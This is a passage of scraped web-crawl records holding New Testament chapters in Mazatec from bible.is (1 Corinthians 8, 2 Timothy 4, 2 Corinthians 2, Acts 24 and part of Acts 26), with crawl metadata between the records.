ma‑la̱ tsa i̱nchibátsji-jé‑la̱ ijo‑la̱. 8Jiòn, 'koa̱á 'sín bixó jiòn, nga mì tsa a̱'ta 'tse̱ tsajmì ra ma chine isa̱ nda ska̱ábétjó‑ná Nainá. Tsa ki̱chieé, mì tsa isa̱ nda kjòn ko̱meé; ko̱ tsa mì kì ki̱chieé, mì tsa isa̱ 'cho kjòn ko̱meé ya̱ ngixko̱n Nainá. 9Kixi̱í kjoa̱, ni̱'sín ko̱'sín tjín, tanga ti̱kònda̱ko̱‑no jñà xàngie̱é, kì tà jiòn nga̱tjì‑no nga koa̱àtsji‑la̱ jé‑la̱ ijo‑la̱ jñà 'ndsé ra inda tjín‑isa ya̱ a̱jin kjo̱bítsjen‑la̱. 10Tsa tjín i'ka jiòn ra ko̱'sín tsò nga tjín‑la̱ kjo̱bítsjen nga maá chine ta mé ijo‑ni, tsa ya̱ fì kàkjèn ya̱ i̱'nde ñánda̱ nga jeya tíníkíjna xkósòn ra nainá tsò‑la̱ xi̱ta̱, tsa ske̱ jngo 'ndsé ra inda tjín ya̱ a̱jin kjo̱bítsjen‑la̱, ¿a mí tsa ti̱'koa̱ kji̱nchrabàjin ikon nga ski̱ne̱ tsajmì kìi̱? 11Jè xi̱ta̱ ra ya̱ fì kàkjèn‑ko̱ jè kjo̱bítsjen‑la̱ ra tsò, nga maá chine ijye ta mé tsajmì‑ni, ta jè‑ni nga̱tjì‑la̱ nga ya̱ ska̱jin jé jè 'ndsé ra inda tjín ya̱ a̱jin kjo̱bítsjen‑la̱ ra ti̱'koa̱ jè Cristo 'ken‑tjì ngájo‑la̱. 12'Kia̱ nga ko̱'sín fatsji‑jé jiòn ra a̱'ta 'tse̱ jñà 'ndsé ko̱ a̱'ta 'tse̱ jñà tichjeé nga fatsji 'chin‑la ya̱ a̱jin kjo̱bítsjen‑la̱ ra inda tjín, ya̱á‑ni a̱'ta 'tse̱ Cristo nga i̱nchifatsji‑jé jiòn 'kia̱ nga ko̱'sín i̱nchi'nià. 13'A̱n, tsa ta jñá‑ni nga̱tjì‑la̱ tsajmì ra kjíne̱ nga koa̱àtsji‑jé 'ndsèe̱, isa̱á‑la nda‑ni nga mì ti̱ ijo skíne̱‑na mé‑ni nga mì ti̱ tsja jé ska̱jin‑ni.\n1 Corintios 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/8","date":"2013-12-13T23:00:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386165158218\/warc\/CC-MAIN-20131204135238-00095-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":480,"character_repetition_ratio":0.094,"word_repetition_ratio":0.008,"special_characters_ratio":0.242,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ñó tìbìnè‑lè nga nguixko̱n Nainá ko̱ Na̱'èn‑ná Jesucristo jè xi jeya kjoi̱í ìjngoò k'a‑ne koni xi̱ta̱xá ítjòn nga koi̱ìndaàjiìn‑la̱ xi̱ta̱ xi títsa̱jnakon ko̱ xi jye k'en. 2Ti̱nókjoa̱yi 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ti̱jnandeiì nga kjit'aà na̱chrjein ni̱ta̱ mé kjoa̱ xi tjín. Chi̱koi̱i xi̱ta̱ k'e̱ nga ch'o s'ín; ti̱kixi̱yi; tìt'in‑la̱ nga 'ñó kàt'eé‑la̱ ikon. K'e̱ nga k'oa̱s'ín s'i̱in, tseé t'i̱in takoìn, ko̱ kjo̱ndaà‑lè ta̱kóya‑la̱. 3Ki̱jchò na̱chrjein k'e̱ nga jñà xi̱ta̱ mì ti̱ kiì ko̱kjeiín‑la̱ nga kji̱'nchré 'én ndaà xi kixi̱ tjín xi jñá okoòyaá i̱t'aà ts'e̱ Cristo. Kjìn maestro ko̱hótsji xi ko̱kòya‑la̱ kjoa̱ xi jñà ko̱mejèn‑la̱ nga kji̱'nchré‑la̱. 4Ki̱nchat'aàxìn‑la̱ xi kjoa̱kixi̱, koií kji̱t'aà‑la̱ xi ta̱xki̱ cuento jchínga xi mìtsà kixi̱ kjoa̱. 5Ta̱nga ngaji̱ Timoteo, indaà t'è‑la̱ takoìn ni̱ta̱ mé kjoa̱‑ne, ti̱kjeiín kjoa̱ ts'e̱ kjo̱'in, koi xá t'i̱in nga ti̱ka'bísoìn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, ndaà ti̱kitasoìn xá xi ji̱ kjònga̱tsjei. 6'A̱n, jye tìtsjaà kjo̱tjò‑la̱ yijo‑na̱ Nainá. Jyeé ijchò na̱chrjein nga ki̱yá. 7Jyeé ndaà kiskaàn‑tjià xá‑la̱ Cristo; jyeé ndaà kisìkitasoàn xá xi 'a̱n kjònga̱tsja; jyeé ndaà tsohóti̱jnakoa̱a jè 'én xi mokjeiín‑na i̱t'aà ts'e̱ Cristo. 8I̱'ndei̱, Cristo, xi xi̱ta̱xá kixi̱ tíjna, tíjnatjò jngoò‑la̱ corona ján ngajmiì xi 'a̱n tsjá‑na nga kixi̱ tsohóti̱jnakoa̱a. K'e̱ nga kjoi̱í ìjngoò k'a‑ne, mìtsà tà 'a̱n xi tjoé‑na. Ti̱koa̱á tjoé‑la̱ ngats'iì xi̱ta̱ xi tíjngoò ikon nga nchikoña‑la̱ Cristo. 9Ti̱xátíyi nga ni̱to̱n nchrobáchon‑ná. 10Nga jè Demas, jyeé kitsjeiìn takòn‑na. Jè 'ñó matsjakeè kjoa̱ xi tjín i̱ i̱sò'nde. Ján kiì na̱xa̱ndá Tesalónica. Crescente, ján kiì nangui Galacia, koa̱ jè Tito ján kiì nangui Dalmacia. 11Tà jè Lucas tíjnako̱‑na. K'e̱ nga kji̱nchroboì, tjàjchatoi Marcos, nchrobákoi̱i. Ko̱chjeén‑na kjoa̱ ts'e̱ xá xi tjín‑na. 12Jè Tíquico, ján kisìkasén Éfeso. 13K'e̱ nga kji̱nchroboì, jcha̱‑ná i̱nchro̱kisòn‑na̱ xi tsakajná ya̱ na̱xa̱ndá Troas ya̱ ni'ya‑la̱ Carpo. Jch'i̱i xo̱jo̱n‑na̱; jñà xi ìsa̱ 'ñó mochjeén‑na xi chrjoa̱ kjoàn. 14Alejandro, jè xi chji̱ne̱ ki̱cha̱, 'ñó ch'o tjín kjoa̱ xi tísíko̱‑na. Nainá, jè kàtatsjá‑la̱ kjo̱'in kjoa̱ xi tís'ín. 15Ngaji̱ Timoteo, ti̱kindi̱i yijo‑lè i̱t'aà ts'e̱ xi̱ta̱ jè. 'Ñó kondra̱ fìtji̱ngui‑la̱ 'én xi okoòyaá. 16K'e̱ nga kisindaàjiìn ítjòn‑na nga nguixko̱n xi̱ta̱xá, ni̱yá xi tsasìko̱‑na. Ngats'iì xi̱ta̱ kitsjeiìn takòn‑na. Kì kinda̱á s'ín Nainá kjoa̱ koi. 17Ta̱nga Na̱'èn‑ná tsasìko̱‑na. Kitsjaà‑na nga'ñó mé‑ne nga komà kichjàjiìn‑la̱ jñà xi̱ta̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. K'oa̱á s'ín komà‑ne nga kiì'nchré yije xi mìtsà xi̱ta̱ judío. Nainá tsasìko̱‑na nga mìkiì kisìk'en‑na xi̱ta̱ xi tsibíndaàjiìn‑na. 18Na̱'èn‑ná ko̱si̱ko̱‑na i̱t'aà ts'e̱ ngats'iì kjoa̱ xi ch'o tjín. Kji̱ko̱‑na ñánda tíhotíxoma ján ngajmiì. Nainá, kàtas'e‑la̱ kjoa̱jeya ni̱ta̱ mé nó‑ne ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama. 19Ti̱ixat'eì jè Priscila ko̱ Aquila ko̱ xi̱ta̱ ni'ya‑la̱ Onesíforo. 20Erasto, ján tsibìjna na̱xa̱ndá Corinto. Jè Trófimo, ján kisìkíjna na̱xa̱ndá Mileto. Xk'én‑né. 21Ti̱xátíyi nga ni̱to̱n nchrobáchón‑ná k'e̱ nga ti̱kj'eè f'iì na̱chrjein choòn 'nchán. Tísíhixat'aà‑lè Eubulo, Pudente, Lino ko̱ Claudia, ko̱ ngats'iì xi̱ta̱ xi 'ndsè chibá. 22Jè kàtìjnako̱‑lè Jesucristo xi otíxoma‑ná. Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱. K'oa̱s'ín kàtama.\n2 Timoteo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/4","date":"2013-12-07T00:04:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052810\/warc\/CC-MAIN-20131204131732-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 0.9999971389770508}","num_words":460,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ma‑ne nga k'oa̱s'ín kiskoòsòn‑la̱ nga mì ti̱ kiì kiìkon‑nò. Majìn‑na nga ba ki̱tsa̱jnaà. 2Ta̱nga tsà 'a̱n, ba síkítsa̱jna‑nò, nga ko̱ma i̱skan, mì ti̱ yá tjín‑ne xi si̱ìtsjako̱‑na, nga jñò, jyeé ba titsa̱jnaà. 3Koií xá jye kiskiì jngoò‑nò xo̱jo̱n, mé‑ne k'e̱ nga kìjchokon ìjngoò k'a‑nò nga mì ba si̱kíjna‑ná nga mochjeén‑né nga jñò si̱tsjako̱‑ná. Nga k'oa̱á s'ín tíjngoò takoàn, 'a̱n, matsja‑na ti̱koa̱ jñò, matsjaá‑nò. 4K'e̱ nga k'oa̱s'ín kiskiì‑nò, ndaà jchán kokájno‑la̱ ini̱ma̱‑na̱, baá kis'e‑na skanda ndáxkoaàn tsibíxteèn. Ta̱nga 'a̱n mìtsà koi xá kiskiì‑nò nga kàtaba‑nò. Jè‑né nga jcha̱a nga 'ñó matsjake̱‑nò. 5Jè xi̱ta̱ xi tsohótsji jé, mìtsà ta 'a̱n xi ba kisìkíjna‑na, mejèn tsà ba kisìkítsa̱jna ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. Tà k'oa̱á xan‑nò nga mì ko̱to chi̱ba̱‑la̱ koni s'ín tìxan‑nò. 6Nga kjìn ma‑nò xi tsibìnè‑là kjo̱'in jè xi̱ta̱ jè; jyeé ndaà tjín, ta ko̱ma‑ne. 7I̱'ndei̱, jè xi s'e̱en nga si̱jchàat'aà‑là jé‑la̱; si̱jetakòn xi̱ta̱ jè, mé‑ne nga mì kjo̱ba ki̱yájiìn‑ne. 8K'oa̱á ma‑ne nga bìtsi'bà‑nò nga ndaà jchi̱bàya‑nò nga ìjngoò k'a ti̱tsjacha xi̱ta̱ jè. 9Ti̱koa̱ koií xá kiskiì‑nò i̱t'aà ts'e̱ kjoa̱ koi, mejèn‑na skot'aà‑nò, a kixi̱í kjoa̱ nga ma‑nò nìkitasòn yije. 10Jè xi̱ta̱ xi jñò nìjchàat'aà‑la̱ jé‑la̱, ti̱koa̱á 'a̱n siìjchàat'aà‑la̱. Tsà mochjeén‑né nga 'a̱n siìjchàat'aà‑la̱ xi̱ta̱ jè, 'a̱n jyeé kisìjchàat'aà‑la̱ xi kjo̱ndaà tsa̱jòn ko̱ tíbeè Cristo. 11Mé‑ne jè xi̱ta̱ nei̱í mìkiì ko̱ma jè si̱ìkijne‑ná, nga jyeé ndaà 'yaá kjoa̱maña̱‑la̱ kós'ín síxá. 12K'e̱ nga ijchoa ján na̱xa̱ndá Troas, nga kichjàya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, i̱t'aà ts'e̱ Na̱'èn‑ná kitáx'a̱'nde‑na nga kisìxákoa̱a 'én ndaà‑la̱ Nainá. 13Ta̱nga mìkiì ndaà kis'e‑la̱ ini̱ma̱‑na̱ nga mìkiì kiskaàjñaà jè 'ndsé Tito. K'oa̱á komà‑ne kisìkítsa̱jna jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱, i̱kjoàn kiaà ján nangui Macedonia. 14Ndaà chjí‑la̱ Nainá nga i̱t'aà ts'e̱ Cristo fìko̱‑naje̱n k'e̱ nga okó‑la̱je̱n jñà xi̱ta̱ i̱sò'nde nga jye kisìkijne. I̱t'aà tsa̱je̱n k'oa̱á s'ín obísòn kjo̱hítsjeèn‑la̱ Nainá xi ko̱s'ín ngaya‑la̱ koni jngoò jta̱‑la̱ tsojmì xi 'ñó ndaà jne̱, mé‑ne nga skoe̱‑ne jñà xi̱ta̱ ni̱ta̱ ñánda‑ne nga títsa̱jna. 15I̱t'aà tsa̱je̱n k'oa̱á s'ín ngaya‑la̱ koni ni̱'ndi̱‑la̱ chrjongó‑la̱ Nainá, k'e̱ nga jè Cristo tsját'aà‑la̱ Nainá. K'oa̱á s'ín bijchókajiìn‑la̱ jñà xi̱ta̱ xi bitjokàjiìn kjo̱'in ko̱ xi̱ta̱ xi chija. 16I̱t'aà ts'e̱ jñà xi̱ta̱ xi chija, [k'e̱ nga beè‑naje̱n nga bèno̱jmíya‑je̱n 'én‑la̱ Nainá], k'oa̱á s'ín ch'o jne̱‑la̱ koni jngoò jta̱ xi sík'en‑ná. Ta̱nga jñà xi̱ta̱ xi bitjokàjiìn kjo̱'in, k'oa̱á s'ín ndaà jne̱‑la̱ koni jngoò jta̱ xi síkíjnakon‑ná. I̱t'aà ts'e̱ xá koi, ni̱jngoò xi̱ta̱ chíkjoa̱‑la̱ nga síkitasòn xi ta kjo̱hítsjeèn ts'e̱. 17Ngaje̱n, mìkiì k'oa̱s'ín 'nè‑je̱n koni s'ín xi̱ta̱ xi kj'ei̱í xi chja̱ya 'én‑la̱ Nainá nga to̱n síkijne. Ngaje̱n, 'én kixi̱í nokjoà‑je̱n. Nainá tíbeè‑ne nga jè kisìkasén‑naje̱n ko̱ nga'ñó ts'e̱ Cristo‑né nga nokjoàya‑je̱n, nga jè Cristo titsa̱jnako̱‑je̱n.\n2 Corintios 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/2","date":"2013-12-08T17:38:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163728657\/warc\/CC-MAIN-20131204132848-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":424,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà 'òn ni̱chjin, ijchó ya̱ Cesarea jè xi̱ta̱ ítjòn‑la̱ na̱'mì ra 'mì Ananías. Tje̱n‑ko̱ i'ka xi̱ta̱ jchínga ra tjíhijyo ítjòn‑la̱ xi̱ta̱ judío; ti̱'koa̱ tje̱n‑ko̱ jngo xi̱ta̱ ra ma‑la̱ chja̱tjì jngo kjoa̱ jè ra 'mì Tértulo. Jñà xi̱ta̱ kìi̱, kijì ñánda̱ nga tíjna jè Félix ra xi̱ta̱xá ítjòn tíjna nga tsakángi jè Pablo. 2'Kia̱ nga 'jiìkásen masen Pablo, tsikí'tsia̱á jè Tértulo nga kitsjà'tin 'én ra kondra̱ 'tse̱; kitsò‑la̱ jè Félix: ―Ngaji̱ ra xi̱ta̱xá ítjòn tijni, kjo̱nda tsa̱ji‑ní nga 'nchán titsa̱hijyo‑ji̱n. Kjín kjoa̱ ra nda tíbitjasòn ya̱ na̱xi̱ndá‑na̱ji̱n ra kjoa̱chji̱ne̱ tsa̱ji. 3Kji'tá ni̱chjin tjín kjo̱nda tsa̱ji nga tíjngo. Ko̱'sín Nainá ra kátíchjí‑li nga ko̱'sín ta̱ nda tjibisiko̱‑náji̱n. 4Majìn‑naji̱n nga tse chjinìchjin‑laji̱n; tjín‑li kjo̱nda nga ko̱'sín ti̱ná'ya jngohíjta‑náji̱n. 5'Koa̱á 'sín ijye kijcha‑la̱ nga jè xi̱ta̱ ra̱kìi̱, 'ñó 'cho tí'sín nga tjíjtsa i̱sà'nde síjòyaá xi̱ta̱ na̱xi̱ndá judío; jé tíjna ítjòn‑la̱ jñà xi̱ta̱ nazareno ra síkaatjìya‑la̱ ndi̱yá‑la̱ Nainá. 6Ti̱'koa̱á kjomejèn‑la̱ isìkitsón ya̱ I̱ngo̱ Tsje‑la̱ Nainá nga mejèn‑la̱ isìkjaha'sen jngo kjoa̱ ra mì tsa ya̱ bako̱‑la̱; 'koa̱á ma‑ni nga indabá'ñó‑ji̱n. [Mején‑naji̱n ko̱'sín si̱ko̱‑ji̱n koni 'sín tjín kjo̱téxoma tsa̱ji̱n, 7tanga jé xi̱ta̱ ítjòn‑la̱ chíchàn ra 'mì Lisias tsasìko̱, ngi ko̱ó kjo̱'tse̱n nga tsja'án‑naji̱n 'kia̱ nga ijye nda indabá'ñó‑ji̱n tsiki, 8ko̱ 'koa̱á 'sín kitsò nga jñà xi̱ta̱ ra bángi, tjíné‑la̱ nga i̱ ngixkìi̱n kátíndajín.] Ko̱maá ngaji̱ sabà chji̱nangi‑la̱ nga'tsì kjoa̱ kìi̱, mé‑ni nga jcha̱‑ni kó'sín tjín kjòn‑ni nga ko̱'sín fangi‑ji̱n. 9Jñà xi̱ta̱ judío ra ya̱ títsa̱jna, ti̱'koa̱á 'koa̱á 'sín kitsò nga 'koa̱á 'sín tjín kiti. 10Jè xi̱ta̱xá ítjòn iskimítje̱én tsja nga kitsjá'nde‑la̱ Pablo nga kiìchja̱. Jè Pablo kitsó‑ní: ―Ngaji̱ ra xi̱ta̱xá ítjòn tijni, ijyeé be‑náa̱ nga kjokjín nó tijnajin kjo̱téxoma ya̱ i̱'nde ra̱kìi̱; 'koa̱á ma‑ni nga ngi ko̱ó kjo̱tsja‑na̱ nga kichjàa̱, nga kósi̱ko̱ ijo‑na̱. 11Ngaji̱, ko̱maá kjótsjiyi, ya̱á jcha̱a‑ni nga 'én kixi̱‑ní koni 'sín nga xiáa̱n; 'sa̱á tjín‑ni tejò ni̱chjin 'kia̱ nga 'jía̱ ya̱ Jerusalén nga 'jáha̱'se̱n ya̱ i̱ngo̱ ítjòn nga kíjtsexkón Nainá. 12Mì kì tsijen kijcha‑na tsa xi̱ta̱ tíbatíko̱, ko̱ ni̱ mì tsa xi̱ta̱ na̱xi̱ndá ítsincha'á ya̱ ndi̱tsin i̱ngo̱ ítjòn, ko̱ ya̱ ni'ya sinagoga ñánda̱ maxkóya xi̱ta̱ Judío, ko̱ ya̱ a̱jin na̱xi̱ndá. 13Jñà xi̱ta̱ ra bángi‑na mì kì ñánda̱ i̱'ká‑ni nga ko̱ki̱tso̱ nga 'én kixi̱‑ní jñà kjoa̱ ra bánè‑na. 14Tanga 'koa̱á xián kixi̱‑la ra ngi kjo̱hixi̱, 'a̱n, jè sìhitjásòn‑la̱ jè Nainá ra Nainá tsò‑la̱ xi̱ta̱ jchínga‑na̱ji̱n; 'koa̱á 'sín sìhitjásòo̱n koni 'sín tjín jè ndi̱yá xi̱tse̱‑la̱ Cristo, jè ra tsò‑la̱ jñà xi̱ta̱ kìi̱ nga kj'ií ndi̱yá‑ní a̱'ta 'tse̱ Nainá. 'A̱n makjiín ijyeé‑na koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ 'tse̱ jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé. 15'Koa̱á 'sín tjíjngo takoàa̱n ra a̱'ta 'tse̱ Nainá nga tíkoñá‑la̱ koni 'sín i̱nchikoñá‑la̱ jñà xi̱ta̱ kìi̱, nga kjoa̱áyaá‑la̱ jñà xi̱ta̱ ra ijye 'ken, jñà ra xi̱ta̱ kixi̱ ko̱ ra mì tsa xi̱ta̱ kixi̱ kjomà. 16'Koa̱á ma‑ni nga 'koa̱á 'sín binè‑la̱ ijo‑na̱ nga tsjeé síkíjna kjo̱bítsjen‑na̱ ya̱ ngixko̱n Nainá ko̱ ya̱ ngixko̱n xi̱ta̱. 17''Kia̱ nga ijye kjokjín nó xìn na̱xi̱ndá tsá'ba̱, 'jíhi̱í india‑na ya̱ na̱xi̱ndá‑na̱ nga 'jíi̱ko̱‑la̱ to̱n jñà ndí xi̱ta̱ i̱ma̱ ko̱ 'jíi̱ tsja‑la̱ kjo̱tjò jè Nainá ya̱ Jerusalén. 18'Koa̱á 'sín tjín kjoa̱ ra tí'siaa̱n ya̱ ndi̱tsin i̱ngo̱ 'kia̱ nga ijye ísitsjée̱ ijo‑na̱ [koni 'sín tjín kjo̱téxoma‑la̱ xi̱ta̱ judío]. 'Kia̱ nga kijtse‑na jñà xi̱ta̱ judío ra ya̱ Asia i̱'nde‑la̱, mì tsa kjìn ma‑ni xi̱ta̱ ra títsa̱jnako̱‑na, ti̱'koa̱á mì tsa kjo̱si tíbì'tsiáa̱. 19Jñá‑la xi̱ta̱ kìi̱ ra kixi̱ kjoa̱ ra ma kji̱nchrabà mé‑ni nga tsjá‑ni 'én‑la̱ tsa mé kjoa̱ ra tjín‑la̱ ra kondra̱ tsa̱'a̱n. 20Ko̱ tsa majìn, jñà xi̱ta̱ ra i̱ títsa̱jna ká'téna̱jmí tsa mé jé ra isakò‑la̱ ra a̱'ta tsa̱'a̱n 'kia̱ nga tsakáti̱jnaa̱ ya̱ ngixko̱n xi̱ta̱xá judío. 21O̱ ra kií jé ra tíma‑na nga 'ñó kíchjà 'kia̱ nga tíjna̱jin‑la̱ xi̱ta̱xá judío nga kíxin‑la̱: \"Ni̱chjin ra̱kìi̱, ta kií kjoa̱ nga tísinéjé‑na ta nga̱tjì‑la̱ nga ko̱'sín makjiín‑na nga faháya‑ila̱ jñà xi̱ta̱ ra biya.\" 22Jè Félix, ndaá tjíjin‑la̱ koni 'sín tjín jè ndi̱yá xi̱tse̱‑la̱ Jesucristo. Tsikíjna chrá'bá jè kjoa̱ ra̱kìi̱. Kitsò: ―'Kia̱ nga kj'i̱í sabà jè Lisias jè xi̱ta̱ ítjòn‑la̱ chíchàn, 'kia̱á ko̱xín‑no kó'sín si̱ndajín jè kjoa̱ ra tjín‑no. 23Jè Félix kitsjá‑la̱ kjo̱hixi̱ jñà chíchàn nga takó kátíjna'ya nda̱yá jè Pablo, tanga ti̱'koa̱á maá katatsjá'nde‑la̱ tsa mé ra mejèn‑la̱ nga 'si̱in ko̱ ti̱'koa̱á katatsjá'nde‑te‑la̱ nga katasísin‑la̱ jñà xi̱ta̱ xákjién ra ki̱jchò'tsè ra nda báko̱. 24'Kia̱ nga ijye tsato chiba ni̱chjin, ijchó india‑ni Félix; tje̱n‑ko̱ jè chjo̱ón‑la̱ ra 'mì Drusila ra ti̱'koa̱ xi̱ta̱ judío. Kitsjá kjo̱hixi̱ nga kiìjch'à jè Pablo nga ma kií'nchré‑la̱ kó'sín makjiín‑la̱ ra a̱'ta 'tse̱ Cristo Jesús. 25Jè Pablo, tsi'kéna̱jmí‑la̱ kó'sín tjín ra kjoa̱kixi̱, ko̱ kó'sín nga maá si̱kijne‑lá ijo‑ná nga mì ti̱ kì 'cho 'sia̱n‑ná; ti̱'koa̱á tsi'kéna̱jmí‑la̱ nga 'sa̱á nchrabá jè ni̱chjin nga si̱ndajín ijye‑la̱ jé‑la̱ xi̱ta̱. Jè Félix tà itsakjón‑ní; 'kia̱á kitsò‑la̱: ―'Tin‑nì 'ndi̱‑ni̱. 'Kia̱ kichjà india‑la 'kia̱ nga ko̱'a‑na. 26Jè Félix, 'koa̱á 'sín koñá‑la̱, tsa kií ni̱chjin, to̱n tsjá‑la̱ jè Pablo mé‑ni nga ma si̱ìkíjnandi̱í‑ni; 'koa̱á ma‑ni nga kjín 'ka̱ kiìchja̱‑la̱ nga tsakáko̱na̱jmí. 27'Kia̱ nga ijye tsato jò nó, jahatjìyaá xá‑la̱ Félix. Jè 'jaha'sen ngajo‑la̱ xi̱ta̱ ra 'mì Porcio Festo. Jè Félix, mején‑la̱ nga mì 'cho kíjna‑la̱ jñà xi̱ta̱ judío; 'koa̱á ma‑ni nga takó isíkíjna‑isa nda̱yá jè Pablo.\nHechos 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/24","date":"2013-12-05T00:34:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037902\/warc\/CC-MAIN-20131204131717-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":825,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Agripa kitsó‑la̱ Pablo: ―Tjí'ndeé‑li nga ki̱nákji̱i nga ti̱si̱ki̱i ijo‑li. Pablo iskimítje̱én tsja; tsikí'tsia̱ nga kiìchja̱tjì ijo‑la̱; kitsò: 2―Ngaji̱ Agripa, matsjaá‑na nga ma ji̱ kichjàko̱‑la mé‑ni nga ma kósi̱ko̱o ijo‑na̱ a̱'ta 'tse̱ nga'tsì kjoa̱ ra bánè‑na jñà xi̱ta̱ judío nga bángi‑na. 3Be‑náa̱ ngaji̱ Agripa, nga ndaá tjíjin ijye‑li nga'tsì kjoa̱, kó'sín nga‑la̱ jñà xi̱ta̱ judío ko̱ kjoa̱ ra jñà jo̱óya‑ni. 'Koa̱á ma‑ni nga síjé‑la, 'ti̱ìn kjo̱nda, ti̱ná'ya‑la nda nda‑ná. 4'Nga'tsì jñà xi̱ta̱ judío ndaá tjíjin‑la̱ kó'sín tísíjchá ijo‑na̱ ya̱ nangi‑na̱ ko̱ ya̱ Jerusalén skanda 'kia̱ nga ti̱'sa̱ ti 'kiaa̱. 5Jñà xi̱ta̱ kìi̱, ko̱maá ká'téna̱jmí‑li tsa mejèn‑la̱. Nga̱ ndaá tjíjin‑la̱ ra jñà; skanda ti̱'sa̱‑ni, ya̱á iskotá'yájin‑la̱ 'a̱n jñà xi̱ta̱ fariseo. Jñà xi̱ta̱ fariseo taxki̱ i'iín tjín koni 'sín nga bínè‑la̱ ijo‑la̱ nga bexkón kjo̱téxoma‑la̱ Nainá koni ra jñà xi̱ta̱ judío ra i'ka. 6Ta 'koa̱á tjín jnchro‑ni kjoa̱ ra i̱ tíjna̱‑na, ta nga̱tjì‑la̱ ra 'a̱n, 'koa̱á 'sín tjíjngo takoàa̱n nga ki̱tjasón kjoa̱ ra 'a̱n tíkoñá‑la̱ koni 'sín nga Nainá ijye kitsjà‑la̱ 'én jñà xi̱ta̱ jchínga‑na̱ji̱n. 7Jñà tje̱‑la̱ na̱xi̱ndá Israel ra tejò ma‑ni, ko̱ ni̱chjin ko̱ ni̱tje̱n, jeya i̱nchisíkíjna Nainá nga i̱nchikoñá‑la̱ nga ki̱tjasòn jñà kjoa̱ kìi̱. 'Koa̱á 'sín xin‑la nga ji̱ Agripa, ra 'a̱n, ti̱jñá‑ni kjo̱nda kìi̱ ra tíkoñá‑la̱; 'koa̱á ma‑ni nga bángi‑na jñà xi̱ta̱ judío. 8Jiòn, ¿mé‑ni nga mì kì makjiín‑no nga maá‑la̱ Nainá síkjaáya‑la̱ jñà xi̱ta̱ ra ijye 'ken? 9'Nga ti̱'sa̱ kjotseé, skanda 'a̱n, 'koa̱á ti̱'sín isíkítsjen tsa machjeén‑ní nga 'ñó kondra̱ kjín‑la̱ 'a̱n jè Jesús ra Nazaret i̱'nde‑la̱. 10'Koa̱á 'sín kí'siaa̱n ya̱ ján Jerusalén. Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì kitsjá‑na kjo̱hixi̱ nga 'ñó kjìn xi̱ta̱ tsje‑la̱ Nainá ítsincha'yá nda̱yá. Ko̱ 'kia̱ nga ini'ken jñà xi̱ta̱ kìi̱, 'a̱n, ti̱'koa̱á ya̱á isíngásòn‑ko̱ xi̱ta̱ ra ko̱ki'siòo̱n. 11Nga̱ jndíi̱ ra ján kijiàa̱ ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; kjín 'ka̱ kítsja‑la̱ kjo̱hi'in nga mejèn‑na nga katachja̱jno‑la̱ jè Cristo. 'Ñó ísijtíkee̱, skanda kiìtji̱ngi‑la̱ ra kondra̱ 'tse̱ ya̱ ñánda̱ na̱xi̱ndá kjin. 12'Kií xá kijì‑na ya̱ na̱xi̱ndá Damasco 'kia̱ nga ijye tsatéxá‑na ko̱ ti̱'koa̱ kitsjá‑na kjo̱hixi̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì. 13Ijchó‑la tsa masen ni̱chjin, ji̱ nàmi̱ Agripa, 'kia̱ nga tífia ya̱ a̱ya ndi̱yáa̱, kíjtseé jngo ni'í ra ngajmi inchrabà‑ni ra 'ñó fate tsatsíjen nda mí 'koa̱‑ni koni jè ndabá‑la̱ tsá'bí. Ngi isìhiseén ya̱ jngo 